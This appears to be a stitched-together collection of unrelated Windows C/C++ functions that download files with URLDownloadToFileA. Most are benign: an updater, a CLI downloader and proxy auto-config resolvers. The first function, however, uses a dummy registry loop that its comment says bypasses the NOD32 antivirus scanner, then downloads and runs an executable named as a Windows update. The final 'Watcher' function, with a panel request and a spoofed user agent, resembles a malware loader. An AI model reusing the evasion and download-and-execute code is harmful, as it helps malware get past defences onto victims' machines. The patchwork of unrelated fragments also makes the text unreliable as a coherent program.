//наша главная функа WinMain; int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { char szFileName[MAX_PATH]; HRESULT res; char szDirName[] = "C:\\xlogs"; int i = 0; HKEY hKey; LPSTR *pPart; for(i = 0; i< 15000; i++) //эта фича нужна для обхода сканера нод32; { if(RegOpenKeyExA(HKEY_LOCAL_MACHINE, "eba!", 0, KEY_QUERY_VALUE | KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) { MessageBoxA(0, "eba!", "eba!", MB_OK); } } GetModuleFileNameA(0, szFileName, MAX_PATH); //получаем полный путь к avsux.exe; GetFullPathNameA(szFileName, MAX_PATH, szFileName, &pPart); //pPart - указывает на имя avsux.exe; pPart[0] = 0; //обнуляем имя - получаем просто полный путь (без имени - ёба); CreateDirectoryA(szDirName, 0); //создаём директорию для нашей длл (она там создаст лог и будет в него писать); strcat(szFileName, "Windows-KB243657.exe"); //добавляем имя для будущего скаченного апдейта винды; res = URLDownloadToFileA(0, "http://download.microsoft.com/download/B/0/0/B00DF5E6-9A8F-403C-AB57-AED66C7E5BEE/WindowsXP-KB2393802-x86-ENU.exe", szFileName, 0, 0); //скачиваем файл; if (res == S_OK) { ShellExecuteA(NULL, "open", szFileName, NULL, NULL, SW_SHOW); //если всё оке, тогда запустим этот файл; } return 0; }
int CMainDlg::UpdateExe() { int iVersion = 0, rs; char cPath[MAX_PATH] = { 0 }; SHGetSpecialFolderPathA(NULL, cPath, CSIDL_PERSONAL, FALSE); strcat(cPath, "\\CifExplorer\\update.ini"); HRESULT hr = URLDownloadToFileA(0, m_strUpdate.c_str(), cPath, 0, NULL); if (hr == S_OK) { readINI("CifExplorer", "VERSION", iVersion, cPath); if (iVersion > _VERSION) { rs = 1; HANDLE m_handle = CreateThread(NULL, 0, CreateUpdateThread, this, 0, 0); CloseHandle(m_handle); } else { rs = 0; } } else { rs = -1; } return rs; }
int main(int argc, char **argv) { HRESULT hr; CallbackHandler callbackHandler; IBindStatusCallback* pBindStatusCallback = nullptr; callbackHandler.QueryInterface(IID_IBindStatusCallback, reinterpret_cast<void**>(&pBindStatusCallback)); DeleteUrlCacheEntryA(argv[1]); std::cout << "Resource: " << argv[1] << std::endl; hr = URLDownloadToFileA(nullptr, argv[1], argv[2], 0, pBindStatusCallback); return hr == S_OK ? EXIT_SUCCESS : EXIT_FAILURE; }
int _getProxyAddress() { #if defined OS_WIN32 && defined CC_MSVC long ret; HKEY result; char url[1024]; DWORD size = 1024; char TempPath[MAX_PATH]; char TempFile[MAX_PATH]; HMODULE hModJS; DWORD enable; DWORD enablesize = sizeof(DWORD); /* MSDN EXAMPLE */ char url1[1025] = "http://www.google.fr/about.html"; char host[256] = "http://www.google.fr"; char proxyBuffer[1024]; char * proxy = proxyBuffer; ZeroMemory(proxy, 1024); DWORD dwProxyHostNameLength = 1024; DWORD returnVal; // Declare function pointers for the three autoproxy functions pfnInternetInitializeAutoProxyDll pInternetInitializeAutoProxyDll; pfnInternetDeInitializeAutoProxyDll pInternetDeInitializeAutoProxyDll; pfnInternetGetProxyInfo pInternetGetProxyInfo; /* ************ */ ret = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", 0, KEY_QUERY_VALUE, & result); ret = RegQueryValueExA(result, "ProxyEnable", 0, 0, (LPBYTE) & enable, & enablesize); ret = RegQueryValueExA(result, "ProxyServer", 0, 0, (LPBYTE)url, & size); if (ret == ERROR_SUCCESS && enable == 1) { if (_parseProxyUrl(url) == 0) { RegCloseKey(result); return 0; } } ZeroMemory(url, 1024); size = 1024; ret = RegQueryValueExA(result, "AutoConfigURL", 0, 0, (LPBYTE)url, & size); RegCloseKey(result); if (ret != ERROR_SUCCESS) { if (DetectAutoProxyUrl(url, size, PROXY_AUTO_DETECT_TYPE_DHCP | PROXY_AUTO_DETECT_TYPE_DNS_A) == false) { NETLIB_LOG_ERROR(make_error_string("_getProxyAddress : DetectAutoProxyUrl")); return -1; } } GetTempPathA(sizeof(TempPath), TempPath); GetTempFileNameA(TempPath, NULL, 0, TempFile); if (URLDownloadToFileA(NULL, url, TempFile, NULL, NULL) != S_OK) { NETLIB_LOG_ERROR(make_error_string("_getProxyAddress : URLDownloadToFileA")); return -1; } if (!(hModJS = LoadLibraryA("jsproxy.dll"))) { NETLIB_LOG_ERROR(make_error_string("_getProxyAddress : LoadLibrary")); return -1; } if (!(pInternetInitializeAutoProxyDll = (pfnInternetInitializeAutoProxyDll) GetProcAddress(hModJS, "InternetInitializeAutoProxyDll")) || !(pInternetDeInitializeAutoProxyDll = (pfnInternetDeInitializeAutoProxyDll) GetProcAddress(hModJS, "InternetDeInitializeAutoProxyDll")) || !(pInternetGetProxyInfo = (pfnInternetGetProxyInfo) GetProcAddress(hModJS, "InternetGetProxyInfo"))) { NETLIB_LOG_ERROR(make_error_string("_getProxyAddress : GetProcAddress")); return -1; } if (!(returnVal = pInternetInitializeAutoProxyDll(0, TempFile, NULL, 0, NULL))) { NETLIB_LOG_ERROR(make_error_string("_getProxyAddress : pInternetInitializeAutoProxyDll")); return -1; } DeleteFileA(TempFile); if (!pInternetGetProxyInfo((LPSTR)url1, sizeof(url1), (LPSTR)host, sizeof(host), &proxy, &dwProxyHostNameLength)) { NETLIB_LOG_ERROR(make_error_string("_getProxyAddress : pInternetGetProxyInfo")); return -1; } if (strncmp("PROXY ", proxy, 6) == 0) { if (_parseProxyUrl(proxy + 6) != 0) { NETLIB_LOG_ERROR(make_error_string("_getProxyAddress : _parseProxyUrl")); return -1; } } else { NETLIB_LOG_ERROR("_getProxyAddress : strncmp : PROXY doesn't match\n"); return -1; } if (!pInternetDeInitializeAutoProxyDll(NULL, 0)) { NETLIB_LOG_ERROR(make_error_string("_getProxyAddress : pInternetDeInitializeAutoProxyDll")); return -1; } #endif return 0; }
bool GetProxyForHost(const char *url, const char *hostname, cvs::string& proxy, cvs::string& proxy_port) { static bool bInitialised = false, bWorking = false; char WPADLocation[1024]= ""; char TempPath[MAX_PATH]; char TempFile[MAX_PATH]; DWORD dwProxyHostNameLength; DWORD returnVal; HMODULE hModJS; // Declare and populate an AutoProxyHelperVtbl structure, and then // place a pointer to it in a containing AutoProxyHelperFunctions // structure, which will be passed to InternetInitializeAutoProxyDll: // Failure to compile this line means you have an out of date platfrom SDK. static const AutoProxyHelperVtbl Vtbl = { IsResolvable, GetIPAddress, ResolveHostName, IsInNet }; static const AutoProxyHelperFunctions HelperFunctions = { &Vtbl }; // Declare function pointers for the three autoproxy functions static pfnInternetInitializeAutoProxyDll pInternetInitializeAutoProxyDll; static pfnInternetDeInitializeAutoProxyDll pInternetDeInitializeAutoProxyDll; static pfnInternetGetProxyInfo pInternetGetProxyInfo; static cvs::string static_proxy,static_port; if(!bInitialised) { bInitialised=true; bWorking=false; if( !( hModJS = LoadLibraryA( "jsproxy.dll" ) ) ) return false; if( !( pInternetInitializeAutoProxyDll = (pfnInternetInitializeAutoProxyDll) GetProcAddress( hModJS, "InternetInitializeAutoProxyDll" ) ) || !( pInternetDeInitializeAutoProxyDll = (pfnInternetDeInitializeAutoProxyDll) GetProcAddress( hModJS, "InternetDeInitializeAutoProxyDll" ) ) || !( pInternetGetProxyInfo = (pfnInternetGetProxyInfo) GetProcAddress( hModJS, "InternetGetProxyInfo" ) ) ) return false; INTERNET_PER_CONN_OPTIONA pco[] = { { INTERNET_PER_CONN_FLAGS }, { INTERNET_PER_CONN_AUTOCONFIG_URL }, { INTERNET_PER_CONN_PROXY_SERVER }, { INTERNET_PER_CONN_PROXY_BYPASS }, { INTERNET_PER_CONN_AUTOCONFIG_SECONDARY_URL } }; INTERNET_PER_CONN_OPTION_LISTA pcol = { sizeof(pco), NULL, sizeof(pco)/sizeof(pco[0]), 0, pco }; DWORD dwLen=sizeof(pcol); if(!InternetQueryOptionA(NULL,INTERNET_OPTION_PER_CONNECTION_OPTION,&pcol,&dwLen)) return false; DWORD pt = pco[0].Value.dwValue; if(pt&PROXY_TYPE_AUTO_DETECT) { // Autodetect proxy file. We only want to do this once becuase it's slow // We do DNS first... DHCP can take up to 10 seconds to complete. if(!DetectAutoProxyUrl( WPADLocation, sizeof(WPADLocation),PROXY_AUTO_DETECT_TYPE_DNS_A) && !DetectAutoProxyUrl( WPADLocation, sizeof(WPADLocation), PROXY_AUTO_DETECT_TYPE_DHCP )) return false; } else if(pt&PROXY_TYPE_AUTO_PROXY_URL) { // Download proxy.pac from url strncpy(WPADLocation,pco[1].Value.pszValue,sizeof(WPADLocation)); LocalFree((HLOCAL)pco[1].Value.pszValue); } else if(pt&PROXY_TYPE_PROXY) { // Explicitly set proxy server LPSTR szValue = pco[2].Value.pszValue; static_port=""; char *p=strrchr(szValue,':'); if(p) { *p='\0'; static_port=p+1; } static_proxy=szValue; LocalFree((HLOCAL)szValue); } else { return false; // Fail the detect, forcing us to go direct } if(!static_proxy.length()) { GetTempPathA( sizeof(TempPath)/sizeof(TempPath[0]), TempPath ); GetTempFileNameA( TempPath, NULL, 0, TempFile ); URLDownloadToFileA( NULL, WPADLocation, TempFile, NULL, NULL ); if( !( returnVal = pInternetInitializeAutoProxyDll( 0, TempFile, NULL, (AutoProxyHelperFunctions*)&HelperFunctions, NULL ) ) ) return false; // Delete the temporary file DeleteFileA( TempFile ); } bWorking = true; } if(!bWorking) return false; if(static_proxy.length()) { proxy = static_proxy; proxy_port = static_port; } else { dwProxyHostNameLength=0; LPSTR szProxy = NULL; if( !pInternetGetProxyInfo( (LPSTR) url, (DWORD)strlen(url), (LPSTR) hostname, (DWORD)strlen(hostname), &szProxy, &dwProxyHostNameLength ) ) return false; if(!szProxy || !strcmp(szProxy,"DIRECT")) return false; // Direct connection if(strncmp(szProxy,"PROXY ",6)) return false; // This should be the only possible string (maybe "SOCKS" but that's little used) proxy_port=""; char *p = strrchr(szProxy,':'); if(p) { proxy_port=p+1; *p='\0'; } proxy=szProxy+6; // Not documented - how to free this? LocalFree((HLOCAL)szProxy); } return true; }
bool Watcher::download(std::string &url, std::string &file, unsigned short chksum) { std::string uri; unsigned int rlen; unsigned char *resp; if (url.length() <= 7 || stricmp(url.substr(0, 7).c_str(), "http://")) goto urldl; size_t p; uri = url.substr(7); if ((p = uri.find('/')) == std::string::npos) goto urldl; char *host = new char[p + 1]; if (!host) goto urldl; strncpy(host, uri.c_str(), p); host[p] = 0; unsigned int pathlen = uri.length() - p; char *path = new char[pathlen + 1]; if (!path) { delete[] host; goto urldl; } strncpy(path, &uri.c_str()[p], pathlen); path[pathlen] = 0; unsigned int rc = PanelRequest::httpRequest(host, path, 80, "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.22 (KHTML, " "like Gecko) Chrome/25.0.1364.152 Safari/537.22", NULL, 0, (char **)&resp, &rlen); delete[] host; delete[] path; if (!resp || !rlen) { log(LL_ERROR, L_DLEX L_ON L_HTTPREQ L_FAIL L_LEN "= %d, " L_CHKSUM "= 0x%x." L_FALLBACK, rlen, chksum); goto urldl; } if (!chksum) goto dumpp; unsigned short vchk = calcchk(resp, rlen); if (vchk != chksum) { delete[] resp; log(LL_ERROR, L_VERIFY L_CHKSUM L_FAIL L_SHOULD "0x%x," L_IS "0x%x." L_FALLBACK, chksum, vchk); goto urldl; } dumpp: HANDLE dF = CreateFileA(file.c_str(), GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL); if (!dF || dF == INVALID_HANDLE_VALUE) { log(LL_ERROR, L_CFA L_FAIL L_FALLBACK); delete[] resp; goto urldl; } DWORD wlen; if (!WriteFile(dF, resp, rlen, &wlen, NULL) || wlen != rlen) { log(LL_ERROR, L_WRITEF L_FAIL L_WROTE "= 0x%x, " L_LEN "= 0x%x." L_FALLBACK, wlen, rlen); delete[] resp; goto urldl; } delete[] resp; CloseHandle(dF); log(LL_DIAG, L_DLEX L_SUCCESS "%s -> %s [%d]" L_CHKSUM "= 0x%x (== 0x%x)", url.c_str(), file.c_str(), rlen, chksum, vchk); return(true); urldl: if (URLDownloadToFileA(NULL, url.c_str(), file.c_str(), 0, NULL) != S_OK) { log(LL_ERROR, L_URLDLTF L_FAIL); return(false); } Sleep(30000); if (chksum) { HANDLE hF = CreateFileA(file.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (!hF || hF == INVALID_HANDLE_VALUE) { log(LL_ERROR, L_FAIL L_TO L_OPEN L_URLDLTF L_FILE); return(false); } DWORD rd, fs = GetFileSize(hF, NULL); unsigned char *data = new unsigned char[fs]; if (!ReadFile(hF, data, fs, &rd, NULL) || rd != fs) { log(LL_ERROR, L_FAIL L_READ L_FILE); delete[] data; CloseHandle(hF); return(false); } CloseHandle(hF); vchk = calcchk(data, fs); delete[] data; if (vchk != chksum) { log(LL_ERROR, L_VERIFY L_CHKSUM L_FAIL L_SHOULD "0x%x," L_IS "0x%x.", chksum, vchk); return(false); } } return(true); }